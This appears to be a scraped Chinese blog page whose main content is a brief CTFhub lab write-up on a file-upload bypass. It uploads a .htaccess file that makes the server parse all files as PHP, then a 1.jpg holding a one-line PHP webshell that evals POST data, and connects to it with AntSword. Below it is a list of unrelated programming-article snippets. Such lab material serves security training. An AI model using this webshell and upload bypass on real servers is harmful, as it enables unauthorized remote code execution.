当前位置：首页 > news >正文

CTFhub-文件上传-.htaccess

news 2026/3/28 8:50:22

首先上传 .htaccess 的文件

.htaccess

SetHandler application/x-httpd-php

这段内容的作用是使所有的文件都会被解析为php文件

然后上传1.jpg 的文件内容为一句话木马

1.jpg

<?php echo "PHP Loaded"; eval(@$_POST['a']); ?>

用蚁剑连接

http://challenge-e3884f63b3d65683.sandbox.ctfhub.com:10800/upload/1.jpg

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件然后上传1.jpg 的文件内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...

编程日记 2023/9/4 13:17:00

Python中的绝对和相对导入

在本文中，我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式，但它不是唯一的…...

编程日记 2023/9/4 13:15:59

C语言关于与运算符

C语言关于&与&&运算符我们知道，在很多场景中&和&&通常可以相互代替，那么它们到底有什么不同呢？ 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下： movb -5(%rbp), %al …...

编程日记 2023/9/4 13:14:58

计算机网络（速率、宽带、吞吐量、时延、发送时延）

速率： 最重要的一个性能指标。指的是数据的传送速率，也称为数据率 (data rate) 或比特率 (bit rate)。单位：bit/s，或 kbit/s、Mbit/s、 Gbit/s 等。例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。速率往往是指额定速率或…...

编程日记 2023/9/4 13:13:57

kubectl入门

一.kubectl的三种资源管理方式： 二. kubectl资源介绍： 1.namespace：实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问，如果不想让两个pod之间相互访问，就将其划分到不同ns下。 2.pod&#xff…...

编程日记 2023/9/4 13:12:55

Android JNI系列详解之ndk-build工具的使用

一、Android项目中使用ndk-build工具编译库文件之前介绍过CMake编译工具的使用，今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式： 如上图所示，第一种方式是Android.mkApplication.mkgradle的方式生成…...

编程日记 2023/9/4 13:11:52

【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句

商城检索服务 1.检索页面的搭建商品检索页面我们放在search服务中处理，首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <dependency><groupId>org.springframework.boot</groupId><artifa…...

编程日记 2023/9/4 13:10:50

实现闹钟功能 1》头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...

编程日记 2023/9/4 13:09:48

设计模式之命令模式（Command）的C++实现

1、命令模式的提出在软件开发过程中，“行为请求者”和“行为实现者”通常呈现一种“紧耦合”，如果行为的实现经常变化，则不利于代码的维护。命令模式可以将行为的请求者和行为的实现者进行解耦。具体流程是将行为请求者封装成一个对象&…...

编程日记 2023/9/4 13:08:46

取证工具prodiscover的基本操作

前言提醒取证工具ProDiscover在网上讲解操作的文章实在太少，一是prodiscover是用于磁盘取证的工具，本身比较小众比不上其他的编程软件能用到的地方多，二是这个工具是用来恢复提取磁盘中被删除的文件，是比较隐晦的软件。需要注…...

编程日记 2023/9/4 13:07:44

flutter plugins插件【二】【FlutterAssetsGenerator】

2、FlutterAssetsGenerator 介绍地址：https://juejin.cn/post/6898542896274735117 配置assets目录插件会从pubspec.yaml文件下读取assets目录，因此要使用本插件，你需要在pubspec.yaml下配置资源目录 flutter:# The following line ens…...

编程日记 2023/9/4 13:06:42

看懂UML类图

UML 统一建模语言(Unified Modeling Language，UML)是一种为面向对象系统的产品进行说明、可视化和编制文档的一种标准语言，是非专利的第三代建模和规约语言。UML是面向对象设计的建模工具，独立于任何具体程序设计语言。类的表示首先看那个…...

编程日记 2023/9/4 13:05:41

keras深度学习框架通过简单神经网络实现手写数字识别

背景 keras深度学习框架，并不是一个独立的深度学习框架，它后台依赖tensorflow或者theano。大部分开发者应该使用的是tensorflow。keras可以很方便的像搭积木一样根据模型搭出我们需要的神经网络，然后进行编译，训练，测试…...

编程日记 2023/9/4 13:04:39

React 中的 ref 如何操作 dom节点，使输入框获取焦点

聚焦文字输入框 .focus() 获取焦点当用户点击按钮时，handleClick 函数会被调用，从而将焦点聚焦到文本输入框上。 // 焦文字输入框 import { useRef } from "react";const FocusForm () > {const inputRef useRef<any>(null);func…...

编程日记 2023/9/4 13:03:37

最短路Dijkstra，spfa，图论二分图算法AYIT---ACM训练(模板版)

文章目录前言A - Dijkstra Algorithm0x00 算法题目0x01 算法思路0x02 代码实现 B - 最长路0x00 算法题目0x01 算法思路0x02 代码实现 C - 二分图最大匹配0x00 算法题目0x01 算法思路0x02 代码实现 D - 搭配飞行员0x00 算法题目0x01 算法思路0x02 代码实现 E - The Perfect Sta…...

编程日记 2023/9/4 13:02:36

AK 微众银行 9.3 笔试 Java后端方向

T1(模拟,二分) (没看清买的糖果只有前缀，一开始用二分写了，后来意识到也没改了，简单写的话，直接模拟就好了) #include <bits/stdc.h>#define endl \nusing namespace std;const int N 50010;int n; int a[N];bool check(…...

编程日记 2023/9/4 13:01:35

了解java中的通配符“?“

目录通配符的作用先看一段代码用通配符"?"后,代码变化结论通配符上界通配符下界对通配符上下界的注释理解及其练习代码简记: ? 用于在泛型的使用，即为通配符. 在Java中，通配符（wildcard）主要用于泛型…...

编程日记 2023/9/4 13:00:33

浙大陈越何钦铭数据结构07-图6 旅游规划【最小堆实现】

题目： 题目和浙大陈越何钦铭数据结构07-图6 旅游规划是一样的，不同的是用最小堆实现函数【FindMinDist】。时间复杂度对比： 浙大陈越何钦铭数据结构07-图6 旅游规划： 创建图（CreateGraph）：时…...

编程日记 2023/9/4 12:59:31

OpenShift 4 - 用 Prometheus 和 Grafana 监视用户应用定制的观测指标（视频）

《OpenShift / RHEL / DevSecOps 汇总目录》说明：本文已经在 OpenShift 4.13 的环境中验证文章目录 OpenShift 的监控功能构成部署被监控应用用 OpenShift 内置功能监控应用用 Grafana 监控应用安装 Grafana 运行环境配置 Grafana 数据源定制监控 Dashboard 演示视…...

编程日记 2023/9/4 12:58:30